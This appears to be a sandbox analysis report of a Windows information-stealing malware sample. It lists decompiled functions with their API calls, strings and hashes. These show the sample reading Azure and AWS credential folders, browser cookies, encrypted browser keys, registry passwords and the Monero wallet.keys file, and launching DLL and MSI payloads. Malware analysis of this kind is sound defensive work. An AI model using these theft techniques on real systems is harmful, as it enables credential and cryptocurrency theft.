API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 0bb253d77e44cbd2fa2579e5fea6dba53742aa40c73a436505df87006956797b
Instruction ID: 4ab330752cb568279a14575d9178897fa2d00201adaaa75e1cff8f6864ff6663
Opcode Fuzzy Hash: 0bb253d77e44cbd2fa2579e5fea6dba53742aa40c73a436505df87006956797b
Instruction Fuzzy Hash: A841A47A9402186BEF24E760EC57FED33389B64705F000454B985650C1EEB9ABCC8BB2

Function 00D491A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00D491FC

Strings

image/jpeg, xrefs: 00D492C6

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: e9a5ed1b449ac230314317ec7a401fdcfd2da23d8479171500225d6817686f0c
Instruction ID: f756c40b15f1191253de37e41f06a7af6b6c4923057374f34870ba8a6bd0227e
Opcode Fuzzy Hash: e9a5ed1b449ac230314317ec7a401fdcfd2da23d8479171500225d6817686f0c
Instruction Fuzzy Hash: B371BA75A10208ABDB14EFE4D899FEEB779FB48700F108508F556A7284DB79E944CB70

Function 00D43080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

ShellExecuteEx.SHELL32(0000003C), ref: 00D43415
ShellExecuteEx.SHELL32(0000003C), ref: 00D435AD
ShellExecuteEx.SHELL32(0000003C), ref: 00D4373A

Strings

"" , xrefs: 00D432EA
/passive, xrefs: 00D436AB
<, xrefs: 00D436E0
/i ", xrefs: 00D43634
C:\Windows\system32\rundll32.exe, xrefs: 00D43582
C:\Windows\system32\msiexec.exe, xrefs: 00D4370F
.msi, xrefs: 00D435E8
.dll, xrefs: 00D43435

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: cef50a392855602ede42a082ecb7aa0d010f4a821541c8920fc457f3b4ba44ef
Instruction ID: a8baae5d8134c674d25efbbd22646afb70718626fa50dc4c9ff7f546b20a38c3
Opcode Fuzzy Hash: cef50a392855602ede42a082ecb7aa0d010f4a821541c8920fc457f3b4ba44ef
Instruction Fuzzy Hash: FA1208729501189BEB19EBA4DDA2FEEB739EF14300F004199F50666192EF346B49CF72

Function 00D39BE0 Relevance: 19.6, APIs: 8, Strings: 5, Instructions: 146stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,cookies), ref: 00D39CAF
lstrcat.KERNEL32(?,00D512C4), ref: 00D39CC1
lstrcat.KERNEL32(?,?), ref: 00D39CD5
lstrcat.KERNEL32(?,00D512C8), ref: 00D39CE7
lstrcat.KERNEL32(?,?), ref: 00D39CFB
lstrcat.KERNEL32(?,.txt), ref: 00D39D0D
lstrlen.KERNEL32(00000000), ref: 00D39D17
lstrlen.KERNEL32(00000000), ref: 00D39D26

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Strings

ws://localhost:9229, xrefs: 00D39C3C
/devtools, xrefs: 00D39C0B
localhost, xrefs: 00D39BF5
cookies, xrefs: 00D39CA3
.txt, xrefs: 00D39D01

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 1797936820-3542011879
Opcode ID: 4a2930becb42c597b1c719e199a4f5091ef1511faeb5e84dc13b114776e6f927
Instruction ID: 1d1046c98500f0a9f4008776b16684625d739cba3791634677a9244b65cdd0a0
Opcode Fuzzy Hash: 4a2930becb42c597b1c719e199a4f5091ef1511faeb5e84dc13b114776e6f927
Instruction Fuzzy Hash: 3F517C76910618ABDB14EBE4DC96FEE7338AF04301F404558F60AA7084EF75AA48CF71

Function 00D45510 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

Part of subcall function 00D362D0: InternetOpenA.WININET(00D50DFF,00000001,00000000,00000000,00000000), ref: 00D36331
Part of subcall function 00D362D0: StrCmpCA.SHLWAPI(?,0167E7D8), ref: 00D36353
Part of subcall function 00D362D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D36385
Part of subcall function 00D362D0: HttpOpenRequestA.WININET(00000000,GET,?,0167E3F8,00000000,00000000,00400100,00000000), ref: 00D363D5
Part of subcall function 00D362D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D3640F
Part of subcall function 00D362D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D36421

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D45568
lstrlen.KERNEL32(00000000), ref: 00D4557F

Part of subcall function 00D48FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D48FE2

StrStrA.SHLWAPI(00000000,00000000), ref: 00D455B4
lstrlen.KERNEL32(00000000), ref: 00D455D3
lstrlen.KERNEL32(00000000), ref: 00D455FE

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Strings

ERROR, xrefs: 00D456BF
ERROR, xrefs: 00D456F9
ERROR, xrefs: 00D45609
ERROR, xrefs: 00D45682
ERROR, xrefs: 00D4555A

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 53cf86e2b2d3d33aa5e13c4846b6377ecb266b90f89d1674163aceab062c699f
Instruction ID: c891a1a9fa95adff428ac922acec4e8e63528c52f6b5af34c47abf2f20528613
Opcode Fuzzy Hash: 53cf86e2b2d3d33aa5e13c4846b6377ecb266b90f89d1674163aceab062c699f
Instruction Fuzzy Hash: 45510C309505089BDB14FF68D9A6AED7739EF10381F504468F84A57592EF34AB09CB72

Function 00D41520 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 634b794779fafb0f987ace2d9d6bdf042a0a5ddb844d68fbd0491ca0ac88e5f2
Instruction ID: 5958119ef461a03afd05d00c3a837f9e91ed3836ef40e02084d7598cd65f182a
Opcode Fuzzy Hash: 634b794779fafb0f987ace2d9d6bdf042a0a5ddb844d68fbd0491ca0ac88e5f2
Instruction Fuzzy Hash: 6BC1B1B5940219ABCB24EF60DC9AFEE7379EF54304F004598E509A7241EB75EA84CFB1

Function 00D444D0 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D48F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D48F9B

lstrcat.KERNEL32(?,00000000), ref: 00D4453C
lstrcat.KERNEL32(?,0167E0E0), ref: 00D4455B
lstrcat.KERNEL32(?,?), ref: 00D4456F
lstrcat.KERNEL32(?,0167CF60), ref: 00D44583

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D48F20: GetFileAttributesA.KERNEL32(00000000,?,00D31B94,?,?,00D5577C,?,?,00D50E22), ref: 00D48F2F

Part of subcall function 00D3A430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00D3A489

Part of subcall function 00D3A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D3A13C
Part of subcall function 00D3A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D3A161
Part of subcall function 00D3A110: LocalAlloc.KERNEL32(00000040,?), ref: 00D3A181
Part of subcall function 00D3A110: ReadFile.KERNEL32(000000FF,?,00000000,00D3148F,00000000), ref: 00D3A1AA
Part of subcall function 00D3A110: LocalFree.KERNEL32(00D3148F), ref: 00D3A1E0
Part of subcall function 00D3A110: CloseHandle.KERNEL32(000000FF), ref: 00D3A1EA

Part of subcall function 00D49550: GlobalAlloc.KERNEL32(00000000,00D4462D,00D4462D), ref: 00D49563

StrStrA.SHLWAPI(?,0167DF18), ref: 00D44643
GlobalFree.KERNEL32(?), ref: 00D44762

Part of subcall function 00D3A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34F3E,00000000,00000000), ref: 00D3A23F
Part of subcall function 00D3A210: LocalAlloc.KERNEL32(00000040,?,?,?,00D34F3E,00000000,?), ref: 00D3A251
Part of subcall function 00D3A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34F3E,00000000,00000000), ref: 00D3A27A
Part of subcall function 00D3A210: LocalFree.KERNEL32(?,?,?,?,00D34F3E,00000000,?), ref: 00D3A28F

lstrcat.KERNEL32(?,00000000), ref: 00D446F3
StrCmpCA.SHLWAPI(?,00D508D2), ref: 00D44710
lstrcat.KERNEL32(00000000,00000000), ref: 00D44722
lstrcat.KERNEL32(00000000,?), ref: 00D44735
lstrcat.KERNEL32(00000000,00D50FA0), ref: 00D44744

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 2f97b52d92eb7c919205ecb7748ddf0ddc593ae8abf4242758903face50e572e
Instruction ID: add378f7a5ed0d1b2eaca9a1f077ac41c1a15bf4b96463d5b765f8377b20977d
Opcode Fuzzy Hash: 2f97b52d92eb7c919205ecb7748ddf0ddc593ae8abf4242758903face50e572e
Instruction Fuzzy Hash: B27196B6900208ABDB14EBA4DC99FEE7379EB88300F004598F54596181EB35EB48CBB1

Function 00D31310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D312A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D312B4
Part of subcall function 00D312A0: RtlAllocateHeap.NTDLL(00000000), ref: 00D312BB
Part of subcall function 00D312A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00D312D7
Part of subcall function 00D312A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D312F5
Part of subcall function 00D312A0: RegCloseKey.ADVAPI32(?), ref: 00D312FF

lstrcat.KERNEL32(?,00000000), ref: 00D3134F
lstrlen.KERNEL32(?), ref: 00D3135C
lstrcat.KERNEL32(?,.keys), ref: 00D31377

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D48CF0: GetSystemTime.KERNEL32(00D50E1B,0167A270,00D505B6,?,?,00D313F9,?,0000001A,00D50E1B,00000000,?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D48D16

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00D31465

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

Part of subcall function 00D3A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D3A13C
Part of subcall function 00D3A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D3A161
Part of subcall function 00D3A110: LocalAlloc.KERNEL32(00000040,?), ref: 00D3A181
Part of subcall function 00D3A110: ReadFile.KERNEL32(000000FF,?,00000000,00D3148F,00000000), ref: 00D3A1AA
Part of subcall function 00D3A110: LocalFree.KERNEL32(00D3148F), ref: 00D3A1E0
Part of subcall function 00D3A110: CloseHandle.KERNEL32(000000FF), ref: 00D3A1EA

DeleteFileA.KERNEL32(00000000), ref: 00D314EF

Strings

.keys, xrefs: 00D3136B
wallet_path, xrefs: 00D31330
SOFTWARE\monero-project\monero-core, xrefs: 00D31335
\Monero\wallet.keys, xrefs: 00D3138D

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 69c0be24cfce2e50893c31a415f0f84df1b0f87c625aa471eb5d294ef30cf8c0
Instruction ID: 9ff7c72d5c02cd05916c37abb4507dbd235ee0e47297053bbd786ac466e0caf9
Opcode Fuzzy Hash: 69c0be24cfce2e50893c31a415f0f84df1b0f87c625aa471eb5d294ef30cf8c0
Instruction Fuzzy Hash: 6C5140B1D501199BDB25EB64DDA2FED733CDF54300F4045D8B60A62082EE746B88CBB6

Function 00D37630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D37330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00D3739A
Part of subcall function 00D37330: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D37411
Part of subcall function 00D37330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D3746D
Part of subcall function 00D37330: GetProcessHeap.KERNEL32(00000000,?), ref: 00D374B2
Part of subcall function 00D37330: HeapFree.KERNEL32(00000000), ref: 00D374B9

lstrcat.KERNEL32(00000000,00D5192C), ref: 00D37666
lstrcat.KERNEL32(00000000,00000000), ref: 00D376A8
lstrcat.KERNEL32(00000000, : ), ref: 00D376BA
lstrcat.KERNEL32(00000000,00000000), ref: 00D376EF
lstrcat.KERNEL32(00000000,00D51934), ref: 00D37700
lstrcat.KERNEL32(00000000,00000000), ref: 00D37733
lstrcat.KERNEL32(00000000,00D51938), ref: 00D3774D
task.LIBCPMTD ref: 00D3775B

Strings

: , xrefs: 00D376AE

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: a37c17e4dca055e40bee07320c3b491a4bea2f59fb7282b94566d5510da0047c
Instruction ID: 90b8134ba4ba2fcf049d066af494664fed258f05a2eadffb42f34ca7a0a095b5
Opcode Fuzzy Hash: a37c17e4dca055e40bee07320c3b491a4bea2f59fb7282b94566d5510da0047c
Instruction Fuzzy Hash: 5E315EB5904208DBDB19EBA4DCA9DFE7379EB44301F104208F59263294DA3DA94ADB70

Function 00D48290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0167E4D0,00000000,?,00D50E14,00000000,?,00000000), ref: 00D482C0
